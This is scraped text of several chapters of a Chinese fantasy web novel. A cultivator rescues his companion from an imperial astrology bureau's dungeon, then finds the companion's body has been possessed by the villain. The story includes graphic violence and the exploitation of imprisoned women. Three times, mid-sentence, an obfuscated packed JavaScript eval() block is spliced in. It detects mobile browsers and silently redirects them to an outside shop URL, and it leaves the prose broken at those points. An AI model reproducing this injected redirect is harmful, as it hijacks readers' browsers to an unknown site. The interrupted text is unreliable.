他屏息凝神,盯着自己左手的指尖,试图动弹一下,可惜不论用了多少努力,浑身上下能动的只有眼珠子。 脚边的凉意渐渐骚动,顺着他的大腿往上爬,径直坐在了他的胸膛上。 这东西没有实体,更像是一团有重量的阴风,渐渐将白栩包裹着,宛若蚕茧裹春蚕,将白栩从头到脚尽数笼罩。 白栩感觉浑身的温度迅速流失,意识也逐渐昏聩,这感觉他很熟悉,当初花千续为了带他进风城,对他施以封魂术之时,也是这般阴凉的体感,同时神识在黑暗中无限的下坠。 失去意识前,他听到了一阵笑声。 这笑声他亦是熟悉,那丧心病狂而又歇斯底里的笑,连同这阵寒气在自己身上贪婪蚕食的侵入感,无不彰显着它的身份。 是申屠鸿来了。 他果然找到自己了。 48. 天地洪流 夜幕像一张浸了血的灰布,绞杀最后一丝天光后,兜头罩在北境连天的草莽之上。 野草饮饱了血,在风里佝偻着,稍一颤抖,便抖落出细密的血珠,淅淅沥沥地砸在泥泞里。 狂风裹挟着尸鬼身上独有的腥臭酸腐之气,如刃般刮过无际的荒原,段尚清御剑向佐恭庭等人所在之处飞去,浑身的伤隐隐作痛。 行进的一路,地上满是尸鬼残缺的石块,偶有几只缺胳膊少腿的漏网之鱼,正趴在地上啃着不知是谁的肋骨,段尚清一道剑刃劈去,尸鬼顿时被一分为二,乌黑的腐水流了一地。 越过一道起伏的小丘,他远远地看到一盏微弱的火光。 御剑飞近,果然是他们。 历经一天的血战,他们身上或多或少地挂了彩。 白珏抱着剑,靠在草丘上闭目养神,佐恭庭清点完府兵的余数,正给他们分发食物,姚靖第一个发现段尚清回来,拖着断腿一瘸一拐地走向他。 “可找到阿栩哥哥了?” 段尚清摇摇头,低头看向姚靖的右腿:“怎么伤的?” 姚靖摆摆手,面色糗然:“别提了,从剑上摔下来了,本来没那么严重,又倒霉地被尸鬼啃了一口,大抵是中毒了,动也动不了。” 段尚清蹲下身,撩起他的裤腿查看,姚靖一整条右腿已然呈深紫色,皮肉摔伤处正往外渗着血。 “处理过么?”段尚清扶着姚靖坐在地上,把他的裤腿往上推,将随身携带的药粉洒在伤口处。 “没有,步月姐姐路上就昏过去了,现在还没醒,佐恭庭忙着照看他的府兵,没空管我。”姚靖拎着裤腿,被药粉刺得龇牙咧嘴,“师兄,阿栩哥哥去哪儿了?” 段尚清手里动作一顿,闷声道:“去临安了。” “临安!”姚靖惊得直起身,“那可是司天监的老巢!虞子煊满天下逮他,他怎么自己去了?” 段尚清不想解释太多,很多事他自己都看不明白,时势将他们逼至如此,谁都没有选择的余地。 他扯下自己身上尚且干净的布料,给姚靖细心包扎好,不动声色地转移话头:“尸鬼都处理干净了?” “哪里杀的完,才杀干净,又从地底钻出来一片,摆明了是拦路来的,佐恭庭猜测,祁王要借尸鬼打仗。”姚靖把腿一伸,躺在草地上,“步月姐姐说,再这么下去,不等我们杀到北境,命就要耗死在路上了,可又能怎么办,难道要眼睁睁看着尸鬼南下打进都城?” 段尚清坐在姚靖身边:“你们有向佐伯伯和我爹传信么?让他们带玄门从江州北上拦截,还有萧夫人,她在衡阳,也能助一臂之力。” “传是传了,全都没有回信,说不定他们都被拖住了。”姚靖随手拔了根草叼在嘴里,“北境现存的玄门全都依附司天监,我们还得防着他们的暗箭。” 段尚清头痛地掐住眉心:“我要去临安一趟,你们能不能抵住?” “你若想去便去,不用顾及我们。”佐恭庭从别处走来,丢给他们俩一人一个硬邦邦的烧饼,姚靖苦着脸咬了一口,艰难地下咽。 段尚清实在没胃口,把自己的给了姚靖。他站起身,走向佐恭庭问道:“北境军可有异动?” 佐恭庭摇摇头:“不知道,我们离得太远,没法脱身去探查,若我猜的不错,恐怕已经进军南下了。” 段尚清沉默地望向天与地的交界线,一阵夜风从背后吹来,冰冷刺骨。 他忽然清晰地意识到,眼前与未来的所有事,都已汇成一场势如破竹的滔天洪水,这洪水裹挟着一切不自量力的反抗与挣扎,摧枯拉朽地碾过一切阻碍。 他们再拼尽全力地抵抗,在这天地洪流里,也不过是微不足道的一滴水,无法改变流向,只能泛起轻微的涟漪,眼睁睁地看着自己与周遭的一切,被这股巨力冲得支离破碎。 头痛欲裂。 段尚清按住穴位,转身到一处无人的角落蹲下来。 一口郁结许久的闷血喷涌而出,他单手撑在地上,强忍着颤抖,把血吐干净。 “你还是去找他吧。”佐恭庭站在段尚清身后,忧心忡忡地看着他。 他知道段尚清两边都放不下,与其这般忍耐最后熬出病来,不如先彻底解决一件事。 “这里有我们,说不准等我和爹娘联系上,能多更多的帮手,倒是白公子自己一人在临安城单打独斗,恐怕比此处危险得多。” 段尚清被劝动,他站起身,冲佐恭庭作了一揖,什么话也没说,径直御剑离开。 佐恭庭看了眼天际已然消失在云层里的白色身影,又看了眼一旁守在白珏身旁的姚靖,心头五味杂陈。 方才的一瞬间,他在段尚清的眼里看到一抹转瞬即逝的恐惧,一瞬的心灵相通,让他惊出了一身冷汗。 这一路打杀过来,说不恐惧是逞强,他不怕死,怕的是自己无论做什么都无济于事。 腹部的伤口正泛着痛,血已经浸透了鹿皮护腰,他一摸,沾了一手。 忙了一日,直至此时才痛得有些难忍。 佐恭庭寻了个没人的角落,默默地处理。 段尚清赶了一夜的路,终于在天明之时落地临安城。 灵力已经临近枯竭,身上的伤口又开始渗血。 段尚清已顾不得一切体面,他调动仅存的灵识,试图寻找到白栩的方位。 白栩的气息十分微弱,但能找出来,在临安城的东北方。 段尚清一路寻过去,直到灵识消失,他停步在高耸的宫墙边。 难道阿栩已经被抓到司天监了? 段尚清心如擂鼓,他强迫自己冷静下来,此时宫外有禁军层层把守,宫内有虞惑虎视眈眈,自己若是胡作非为、打草惊蛇,恐怕会害了白栩。 他后退着隐进人群。 得趁着夜色进去才行。 宫墙内,司天监地下监牢里,白栩被绑在石柱上,动弹不得。 他身前,虞惑正盯着他看。 昨夜他因申屠鸿的侵蚀失去了意识,再醒来时,便被掳到了此地。 这本该是他第一次见到虞惑,可此人的容貌与自己那夜所梦之人分毫无差,就连附着在他身上的黑影那阴毒的注视也是一模一样。 “你把我抓过来,是不是为了我身上的血脉?”白栩问出心中猜测,来临安的一路上,他已将事情捋得通顺,他认为虞惑把他绑过来,是为了利用自己穿过敖北山的结界,去西域寻找另一支络玥族,好拿到长生仙。 那黑影嘲弄地笑了起来,虞惑却没什么表情,反而蹲在了白栩身前,声调毫无起伏地问他:“你为什么会这么想?” 白栩胸有成竹,一股脑把自己的猜测全说了。 那黑影的笑声越来越大,白栩被它吵得脑袋疼,虞惑竟也跟着低低地笑了一声:“你很聪明,但是,全猜错了。” 虞惑站起身,招招手,示意下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365502|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人带上来什么,白栩正被他一句话打得脑袋发懵,就看见虞惑端着下人送来的东西,放在了自己面前。 那是一碗白红交织的粘液,很是恶心,更恶心的是,这碗里还有个勺。 这居然是个吃的! 白栩别过视线,怕再看一眼就会吐出来。 虞惑端起那碗恶心的东西,竟往嘴里送了一口,他毫无咀嚼地将这东西咽下去,而后淡漠地开口:“这是婴儿羹,你既然知道长生仙,应该知道这东西。” 白栩浑身一颤,他瞬间就明白了,虞惑身体里的蛊虫就是长生仙。 “你怎么会有?”白栩想不明白,他记得长生仙已经被翎徕挖走了,虞惑身体里的又是哪里来的? “长生仙又不是只有一只,我母亲身体里正好有一只,现在,它在我身上。”虞惑放下碗,看着白栩百般不解的神情,面露嘲弄,“我的母亲和她的哥哥是龙凤胎,很不幸,蛊虫爬到了她的身体里,她是那一代的长生仙。” 白栩的身体开始剧烈的发抖:“那你们抓我过来要做什么?” “当然是有用。”虞惑走到白栩身后,枯瘦的手掌按住他的百会穴,“我的父亲想要你的身体。” “你父亲?”白栩扭头看他,“你爹是申屠鸿?” 虞惑点点头。 “怎么可能?你被他骗了吧?”白栩看向那团黑影,“你屠了络玥族,人家不把你杀了都算仁慈,怎么可能和你做夫妻?” “谁说是申屠族屠了络玥族?”虞惑阴森森的声音从他身后传来,“明明是白青山觊觎长生簿,把我母亲的族人杀个精光,要不是我父亲来搭救,我母亲不可能活下来。” 白栩脑子一片混乱,他挣扎着辩解:“我爷爷还把敖北山劈开,保护着另一支络玥族,这你怎么解释?” “他分明是不想让其他人找到那只络玥族,想独吞络玥族的一切密法。” “你真是疯了!申屠鸿说什么你都信,明明是他屠了络玥族,你根本不是他儿子!你被他骗了这么多年,你还有脑子么?”白栩气得面色涨红,“你要一辈子做他的走狗,被他蒙在鼓里么?” 虞惑脸色一凛,狠狠地掐住白栩的脖子:“你还在狡辩什么?你的父母已经招认了。” 白栩一瞬心神俱震:“我爹娘在你手上?” 虞惑招手,一早便候在外边的狱卒压着两个人进来。 铁链铛啷响过,白栩不敢抬起头,虞惑掐着他的下巴让他看,爹娘浑身是伤,身带镣铐,破衣烂衫地站在他面前。 “爹……娘……”白栩几乎哑声,泪水喷涌而出,他哽咽着问虞惑说的是不是真的。 白道陵点点头,他张开嘴,露出空荡荡的口腔——那里面没有舌头。莫兰萱也抬起头,她的眼眶空洞洞的,那双漂亮的桃花眼已经被挖走。 白栩目眦欲裂,难以置信地看着他们,他脑中嗡嗡作响,心口疼得剧烈,似乎被生生捅开,血流了一地。 虞惑摸着白栩的后脑,声音里掺杂了一丝爱怜:“其实被蒙在鼓里的一直是你,现在你死得明白了。” 一阵剧痛自天灵盖穿透四肢百骸,白栩两眼一翻,倒地不起。 与此同时,白道陵和莫兰萱身上一阵火起,手铐哐当两声落在满地的纸灰上。 “掌监大人,那两具尸体如何处置?” 虞惑拎着白栩的衣领,把人扔上祭台,漫不经心地吩咐:“烧了。” 49. 无能为力 “是。”狱卒躬身告退。 依照指令,他行至监牢最深处,去处理那两具尸体。 铁门打开,嘎吱作响。 潮湿的地板上,两具盖着白布的尸体连排摆放。 地上一片血污,大多是内脏爆裂时溅在地上的肉浆,他回想起这两人死前的模样,那个女人的眼睛和刚刚抓进来的那个少年长得一模一样。 如果那烈性子的少年知道自己父母早已爆体而亡,说不定会和虞惑撕个鱼死网破。 可惜,虞惑技高一筹,用两个模样恐怖的纸人蒙混过关,生生将少年吓得魂飞魄散,让申屠鸿得以鸠占鹊巢。 狱卒叹了口气,本以为自己日日做这助纣为虐之事,早已泯灭良心、铁石心肠,没想到那少年的振振之言,竟唤起他心中一丝悲哀的波澜。 可掌监吩咐的事,他硬着头皮也得做完。 否则下一个盖着白布被烧掉的,就是自己了。 他将尸体拖到靠近通风竖井的角落,用湿布堵死其他通道,只留一个排烟口,而后在死尸旁堆上柴火和稻草,淋上灯油。 擦亮火折子,他正要扔过去,脖颈上忽地横上一把冰凉的利剑。 狱卒心一惊,火折子掉在地上。 身后那人声音沙哑,低声问道:“白栩在哪儿?” 狱卒颤抖着指向的一个方位。 他以为自己如实说便能逃过一劫,可脖颈忽地一凉,他连惨叫都来不及发出,便被喷涌而出的血堵住喉咙,喉管喷出三尺血浆,直溅在石墙上。 跌倒的那一刻,他看见一张疲惫至极却又阴鸷无比的脸。 “段……” 他认得这张脸。 是广陵段家的少主,也是掌监命令要除掉的心腹大患——段尚清。 狱卒的血在寒冷的监牢里冒着腥甜的热气,段尚清将那人的尸体踢到一边,谨慎起见,他先撩开狱卒方才欲烧的两具尸体。 白布一掀,段尚清的瞳孔骤然紧缩。 居然是白伯伯和莫夫人! 他们居然被司天监抓到了,恐怕是不堪受辱才爆体而亡。 段尚清环视一周,他想先把这两具尸体运出去,可此间地下监牢幽邃隐秘,且有狱卒层层把守,他来到此地已是十分不易,要是将他们运送出去,实在引人注目,恐无路可逃。 他咬咬牙,将白布再次盖上。 先救活的。 段尚清起身离开,循着狱卒死前所指的方向,一间一间地搜寻过去。 他错愕地发觉,此处关押着的,大多是女人,她们衣不蔽体,个个肚子鼓胀,要不是胸膛有些微的起伏,几乎看不出是个活人。 再往里走些,隐约能听见一阵阵窸窸窣窣的声音,段尚清以为是白栩,快步接近,谁知那铁牢内并非是他心心念念之人,而是个正伏在一女子身上耸动的狱卒,猪哼狗喘之声从那人口中溢出,段尚清一阵反胃,见牢门敞开,他闪身进去,趁那人不注意,一剑削了那只大汗淋漓的脑袋。 他扯下狱卒的衣服盖在女子身上,轻声问询:“姑娘,不必害怕,我放你出去。” 女子无动于衷,始终仰面躺在稻草之上,她的眼睛浑浊而呆愣,直勾勾地往上看,同其他女子一样,除了胸膛的起伏,整个人毫无活气。 段尚清心中一凛,并指按在女子的额头上,如他所料,牢内关押着的所有女子,恐怕都如她一般被抽了魂,成了只会吃饭、孕育、生子的器物。 他几乎一瞬便明白司天监残害这些女子是何用意,养着长生仙,需要婴儿羹,至于婴儿何处来…… “丧尽天良的狗东西……”段尚清低声咒骂,他愤然起身,冲出牢房,直奔白栩所在之处。 牢狱内因他的闯入引起一阵骚乱,段尚清见人便杀,所过之处,无不血溅三尺,横尸就地。 来拦路的大多是狱卒,这些手无寸铁之人,杀来简单,一剑便能毙命,他不知自己杀了多少,只踩着血一路狂奔,冲至一处拐角,他的脑中忽地一阵刺痛,似乎有什么生生从体内剥离,连魂魄都被这剧烈的疼痛削去一半。 他捂住头,踉踉跄跄地钻进岔路,本想躲避追兵,却阴差阳错地止步于一处祭台前。 白栩正好端端地躺在祭台上,衣衫整洁,神情安详,段尚清心安之余,又觉诡异,但事态紧急,由不得直觉肆意发酵,他一手赶紧抱起白栩,揽腰护在身前,一手横剑厮杀,顺着原路冲杀出去。 越来越多的人拦路,呼喊声沸反盈天,段尚清施展不出道罡咒,只能肉身硬扛,杀出重围。 行至出口前,他下意识看向白栩父母停尸之处,可那团染了血、沁了灯油的稻草上,竟空无一物。 怎么回事?被谁带走了? 段尚清顿时毛骨悚然,若是白栩醒来,自己该如何解释白伯伯和莫夫人的事。 瞒着,还是如实相告? 他不敢多想,至少救到了阿栩,只要阿栩活着,一切都有回旋的余地。 奔至出口,追兵更盛,段尚清运转周身灵力,抬剑上劈,生生将头顶石笼削出一道裂隙,碎裂声、崩塌声自远由近地轰隆传来,段尚清御剑上飞,顺着劈开的路直奔云霄。 瓢泼大雨正倾盆而下,雷鸣电闪惊天动地,狂风卷积乌云,呼啸着撕裂夜幕,段尚清眼看着地上层层积起的雨水,心中骤然生出毁灭一切的狠绝之意。 若是理智尚存,就算心中再恨,他也会咬紧牙关先行离去,毕竟将事闹大,他没有收场的能力。 可如今,连日的担惊受怕摧毁了他的深谋远虑,千里奔袭的疲惫让他无法再忍受任何退让与妥协,他再也不想纠结后果,再也不想瞻前顾后,事到如今,他只有一个念头——杀光司天监。 他御剑腾至高空,似与雷闪并肩,大雨将他浑身上下淋了个透,段尚清深吸一口气,睁开血丝遍布的眼眸,他要引雷,将司天监劈个粉碎。 道罡八咒个个威力无穷,段尚清虽皆有涉猎,但许多阵法只学到皮毛,根本发挥不出其应有的威力,爹教导他,先将一咒学至精深,再融会贯通学会其他。 于是他在八咒里,选了撼天引雷咒。 当初劈裂定山江上的黑船,借着浩远的江面,他刻意收敛攻势,只发挥了三成功力,虽然眼下并非立于江上,但大雨累积的雨水足以使他施展咒法。 段尚清高声诵咒,一手高抬,作剑指天,霎时间,空中炸开万道雷响,耀目的白光中,无数霹雳长鞭劈下,其势若雷霆万钧,神鬼无挡,只听一阵巨大的轰鸣响过,地面硝烟弥漫,原本司天监所在之地已被劈成硕大无朋的坑洞,无数断壁残垣倾倒其中。 段尚清居高临下,漠然地看着,硝烟散尽后,大雨冲刷出石缝里挤出的血液,渐渐汇成血河。 他知道虞惑不在里面,也许这一场报复更多是“无辜的人”遭难,段尚清已没有心力再去纠结自己做的究竟是对是错。 他带着白栩隐入云层,消失不见。 山高路远,道阻且长。 段尚清行至半路,实在力竭,他已两天两夜未曾合眼,恐再御剑会带着白栩一起栽到地上去,于是待飞至琅琊时,他抱着白栩降落在地。 白栩还是没有醒来的迹象,他干脆找了条结实的绳子将白栩绑在自己背上,臂弯里兜着白栩的两条腿,走起路来还算稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365503|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固。 城内的牲口市大多会有贩马商人,他挑了匹行马,付了银子,骑马出城。 骑马赶路不比御剑,时间耗费更长,还得绕路行远,本来半日便能到,如今恐怕要再多耗些时日。 马儿行的稳,段尚清把白栩身上的绳给解了,将人抱在怀里。 微风阵阵袭来,吹拂过脸庞,带着时令应有的暖意。 在这骤然宁静的氛围中,被连日的疲惫催生出浓浓的睡意。 他合上眼,腰板依旧挺直,一手牵引马绳,一手揽着白栩,信马由缰,走到哪儿算哪儿,他想,等自己休息好,便把马儿找个好人家送了,再御剑飞回北境。 段尚清原本想过找家客栈好好睡一觉,可这几日他发觉自己睡得并不安稳,也许是那日沉睡前还和白栩同眠共枕,一早醒来,身旁人已然消失不见的经历使落下了心病,时至今日也未曾痊愈。 不过有白栩在身边,足以让他的心沉沉地归在原位。 只要白栩还在,他便不会由着自己发疯。 日渐西沉,夜幕降临。 段尚清睁开眼,马儿已带他行到山路。 段尚清翻身下马,扶着白栩趴在马背上,牵着缰绳,慢慢地沿着山路前行。 远远地能看见山腰处有一户人家,小小一只红灯笼在月色下映着可怜的红光。 段尚清将白栩抱下来护在怀里,抬手敲响这户人家的栅栏门,一个老人从屋内出来,透过门警惕地看着他。 “老人家,我是南方来的修士,买了匹马,如今人要走,马不好带走,这山腰就您一户人家,如若不嫌,便把这马收下吧。” 老人敞开门,一看这马就知价格不菲,他露出个窘迫的笑:“小仙人,我家里没钱买马,可否贱卖给我?” 段尚清笑着摇摇头:“老人家,您牵走便是,我不要钱,只求您能好好待它。” “好!好!那你等我,我给你拿些干粮酒水。”老人步履匆匆地进了屋。 段尚清没等老人出来就抱起白栩,御剑飞远。 老人再出门,门外只有一匹低头吃草的马,方才的人已不见。 “真是个神仙。” 老人嘀咕着,带着马进了屋。 高空的风冷如利刃,不消几个时辰,已能看见北境荒疏的草甸。 段尚清循着感应,缓缓飞至佐恭庭布下的驻扎地。 此处已然无人,不过能看出人刚走不久,夜已深,段尚清抱着白栩靠在山丘上,终于安心地合上了眼。 不知睡到了什么时辰,段尚清被怀中的动静吵醒,他迷糊地睁开眼,就见白栩正睁着眼睛看他,脸上还挂着笑。 段尚清抬手抚上他的侧脸:“你醒啦。”他想凑近去亲亲,却忽觉心口一凉。 他低头看去,一把匕首已深深插进他的心口。 “你……”段尚清难以置信地看着白栩,白栩却露出个让他极度陌生的笑。 “原来你们藏在这里。”白栩好整以暇地直起身,理了理衣襟,全然没顾及段尚清身下已积了一小滩血。 他站起来伸了个懒腰,用白栩从来不会发出的腔调,阴森森地道:“真是具好身体,用起来还真是舒服。” “等……”段尚清捂着匕首,忍着痛爬起身,白栩回过身,一脚踩在他肩头,把他死死地踩在地上,鞋跟残忍地碾着他心口的伤。 “方才你可是想亲我?竟还是个断袖,有够恶心。”白栩歪着脑袋冲他笑笑,“不过,你喜欢的那个恐怕再也回不来了吧,哈哈哈……” 猖狂的笑声回荡在草莽之上,段尚清趴在一片血泊里,眼睁睁地看着白栩走远。 50. 大雨滂沱 天下起了雨,一丝一缕、一线一行,自沉沉的天幕垂落而下,不偏不斜,不飘不斜,直直地坠向地面,砸在草甸上,碎成一片朦胧白雾 段尚清仰躺在血泊里,睁着眼,一眨不眨望着漫天直落的雨。 插在心口的匕首随着微弱的呼吸小幅度的起伏,被切开的皮肉与血管争先恐后地往外泵血,雨水把他的血稀释,沿着草茎蜿蜒地流到山丘下,汇成一片水洼。 血被雨冲淡,淡到不见一丝血色,只余下挥之不去的腥味缥缈地融化在空气里。 昨日居高临下的场景,今日竟发生在自己身上,段尚清的脑中闪过许多景象,最后全都幻化成汪洋一片的血浆,奔涌着向他扑来,将他淹没。 他闭上眼,脸上湿漉漉的,或许有零星的泪被雨水打散,顺着眼角划过鼻梁,最终滴落在身下的血水里。 心脏似乎不再跳动,疼痛渗透了一切感官,在漫天大雨里,他疲惫地闭上了眼。 好冷…… 濒死的寒意攀爬至四肢百骸,他不受控制地想起与白栩最后一次见面的场景,那时白栩做了噩梦,来找他寻求安慰,如今自己将要坠入无尽的噩梦里,却再也无法埋在白栩的颈窝里求得安抚。 天地不仁,以万物为刍狗。 在这连天风雨皆朝他们倾斜之际,苍天在上,当真一点怜悯也不留,任由命运的刀俎将他们剐得一片不留,让他在这死寂的空茫里,连质问的力气都不剩。 最后一丝愤慨随着疼痛消散,段尚清随着逐渐消弭的意识,感受到一阵阵即将下坠的预兆。 这就是要死了么? 可为什么耳边清晰地响起了呼唤声? “尚清。” “段长明。” 谁? 段尚清苦撑着凝聚起一丝意识,混沌的听觉不再能帮他辨认声音传来的方向,他只觉得这声音离他很远很远,似乎从四面八方而来,又很近很近,仿若就贴在耳边。 “尚清。” 又是一声。 这声呼唤格外焦急,段尚清几乎不需要思考,就辨认出这是谁的声音。 ——是阿栩。 他来找我了? 可他的身体不是被申屠鸿夺走了么? 段尚清凝固的神识再次运转,他挣扎着想看看白栩如今是什么样,可眼睛却如被缝上了一般,无论怎么努力,都睁不开来。 对方察觉到他的困顿,不再呼唤,段尚清以为白栩要离开了,心慌至极,手指抽搐着要抓住什么,却只在草地上虚虚地碾碎了几片草叶。 与此同时,他的心口忽地传来一阵暖意,像一只温热的手覆盖在其上。 匕首横亘在血肉里的冰冷逐渐消融,那暖意不容抗拒地席卷了全身。 五感复苏,段尚清逐渐能听清雨落下的声音,鼻中也能闻到草汁与血混合的腥味,雨点打在皮肤上如针扎,细细密密地侵扰着,他缓缓睁开眼,天高地远,大雨纷飞。 他下意识地捂住心口,匕首还在,但血已经不流了,他握住柄身,一点一点将刀刃抽出。 分离的皮肉如有生命般骤然缝合起来,刀尖离开皮肤的那一刻,伤口已全然愈合。 段尚清心有余悸地摸摸那处伤,衣服被割开的豁口还在,伤却是实实在在的消失了。 能有这般能力的,段尚清只见过一个,当初在黄泉地狱里,白栩背上的伤口就是这般愈合的。 那只白虎来了! 他惊觉地站起身,焦急地四下张望,雨雾打湿了一切,周遭的景色藏在一片白茫里,看不清楚。 “阿栩!阿栩!” “白栩!” “白锦爻!” 无数的呼喊迷失在风里,回应他的只有磅礴的雨声。 段尚清的心沉到了底。 他垂下头,雨水从发梢眼角滑落,滴滴砸在地上。 已经没有泪可流了。 挫败与悔恨涌上心头,他从未觉得自己是如此软弱的人,从前在广陵,自以为学了一身好本事,守山之事一口便答应下来,以为依仗撼天引雷咒,定能闯出一番天地来。 可事到如今,他数不清自己哭过多少次,落荒而逃了多少次,几年前那些宏大的夙愿而今只剩下保护好白栩这一个,可自己竟连这个都做不到…… 他自嘲地笑了起来,段尚清啊段尚清,你真是个失败透顶、愚蠢至极的懦夫,以为自己在地下监牢里机缘巧合救下白栩是幸运?不过是正好落入申屠鸿的圈套罢了。 一阵寒风刮过,刮皮刺骨。 他深吸一口气,咬紧牙关逼迫自己冷静下来。 心头郁结的愤懑与惭恧逐渐沉淀成一道刻进骨血色执念,如今支撑他走下去的唯一信念,只剩下杀光司天监。 他伸出手,长剑凭空出鞘归于手中,将其一掷,凌空跃上,长剑嗡鸣一声,带着他乘风而去。 得去北境和姚靖他们会合,申屠鸿假借白栩身体重生一事他们还不知情,若申屠鸿以白栩的身份接近,再伺机行凶,后果不堪设想。 长剑受灵力催促,越发迅疾,偌大的天地间,一抹白影如疾风般一闪而过,只余下被割裂的雨幕淅淅沥沥地下落。 沿着尸鬼的残躯,段尚清深入北境,终于找到了姚靖一行。 佐恭庭带来的府兵已所剩无几,他们暂避于山坳处,围坐成一圈。 段尚清御剑飞下,轻声落地。 佐恭庭最先听到远道而来的声音,回过头,一双血丝遍布的眼睛翻涌着悔恨与狠厉,他身边,姚靖抱着白珏,低着头,一声不吭。 “发生什么了?”段尚清疾步上前,佐恭庭侧身给他让出了个位置。 地上一滩血块,白珏的腹部破了个巴掌大的血洞,其内不住地往外冒出内脏的碎块与断成节的白骨,她姣好的面容此时血色尽褪,苍白如灰,恐已奄奄一息。 “谁干的?” 尽管段尚清心中已有了答案,还是问出了口。 “白栩。”佐恭庭沉声答他,“不过不像是他。” “是申屠鸿。”段尚清指着自己心口位置被刀割开的布料给他们看,“白栩的魂被虞惑用邪术抽走,那具身体已由申屠鸿来操纵,我救他回来时,他在我这里插了一刀。” “那你是怎么活下来的?”佐恭庭眼中闪过希冀,“段家可有秘术能起死回生?那阿珏……” “不。”段尚清打断他,“是阿栩救的我,我与他在绛鹊山结识了一只白虎,那白虎曾把一半的灵魂寄养在我身体里,我被申屠鸿一刀捅穿心脏,将死之时,是阿栩唤醒了我,白虎将我的血□□合,我才得以捡回一条命。” “那白栩现在在哪儿?他救了你,怎么不来救他姐姐?”佐恭庭面露焦急之色,“你还能找到他么?找到那只白虎。” 段尚清痛苦地捂住头:“我找不到他了,我醒了之后一直在喊他,也在试图感应他,可他的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365504|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越弱,直到我怎么也寻不见……” “所以阿珏姐姐是没人救了,是么?” 沉默良久的姚靖骤然开口,嗓音沙哑无比,他抬起头看向段尚清,杏圆的眸子里全是泪:“师兄,只剩我了。” 段尚清悚然一惊:“你想做什么?” 姚靖却没再说话,他再次垂下头,俯身渐渐贴近白珏的脸庞,直到鼻尖相触。 他用拇指轻轻撬开白珏的齿关,而后张开嘴,不多时,一颗澄澈剔透、金光溢彩的内丹从他的身体里飘出,落到白珏的口中。 “姚靖,你是妖?”佐恭庭下意识摸上剑,段尚清立刻握住他的手,“他在救白珏。” 佐恭庭本就无意伤人,只是连日来的风声鹤唳、草木皆兵,让他的神经过于紧绷。 他道了声歉,松开握剑的手:“段兄弟,你知道这事?” 段尚清点点头,看向姚靖:“也没打算瞒着你们,只是没明目张胆地说出来,他的名字,不就是回答么?” “姚靖……妖精……”佐恭庭低声念出,被这由来已久的谐音弄得哭笑不得,他唇角抽搐几下,终究是没有笑意,“他的内丹没了,会怎么样?” “修为尽散,变回一只小狐狸。” 段尚清话音将落,姚靖周身渐渐笼罩出一层暖黄色的光。 “师兄。”姚靖最后唤他一声,把白珏交到佐恭庭手中,自己朝着段尚清走去。 段尚清张开双臂,姚靖闭上眼,放心地倒下去,少年的身躯在暖光中逐渐变小,落在段尚清怀中时,已成了一只小白狐。 小狐狸闭着眼,耳尖时不时耸动几下,湿漉漉的小鼻头颤动着,毛茸茸的长尾巴卷上段尚清的手臂。 “你怎么和我这么像?”段尚清摸着狐狸瘦削的脊背,低声呢喃,“为了心上人,什么都能舍弃。” 佐恭庭看着师兄弟俩,心中五味杂陈,他和姚靖打了这么久幼稚的情敌仗,如今终于能歇下来,竟生出怅然若失之感。 他一手抱着白珏,一手摸上姚靖的脑袋,小狐狸嗅到他的气味,尽管很虚弱,还是一口咬了上去,可惜小尖牙连肉都没咬穿,只留下几颗泛出血珠的牙印。 “臭小子。”佐恭庭没收回手,反而加大了力度揉它的脑袋,他还想再说些什么,喉头却已被哽咽住,酸涩涌入鼻腔和眼眶,不由他控制地掉了泪。 小白狐感应到佐恭庭的情绪,主动伸出小舌头舔舔他手背上的伤。 佐恭庭破涕为笑,把小白狐从段尚清怀里捞过来,一手一个,把姚靖和白珏一并抱在怀里。 小狐狸果然还是更喜欢白珏,张开小爪子抱住白珏的脖颈,毛茸茸的脑袋蹭在她的颈窝里,低低地呜鸣着,不知道想要说什么。 “佐兄,还有一事,我不知应不应当跟白姑娘说,我在司天监的地下监牢里,看到了白伯伯和莫夫人的尸体,他们被司天监抓住后不堪受辱爆体而亡,我本欲将他们的尸体连同白栩一并带出,但折返之时,尸体已然不见。” 佐恭庭沉下脸,思忖半晌道:“或许他们没死?” 段尚清亦有此想法:“那能被谁救走?彼时地下监牢的外人只有我……”他说着,忽地一顿。 “怎么?有想法?”佐恭庭凑近他。 “我知道一个人可能知道,但如今能不能寻到,就难说了。” “谁?” 段尚清看向西北的方向:“白栩的爷爷,白青山。” 51. 桩桩件件 佐恭庭顺着段尚清的视线看去:“那白公如今所在何处?” “只听说要往西北去,许是过了敖北山,往西域去了。” “你们不是才从西北境回来?途中没遇见过?” 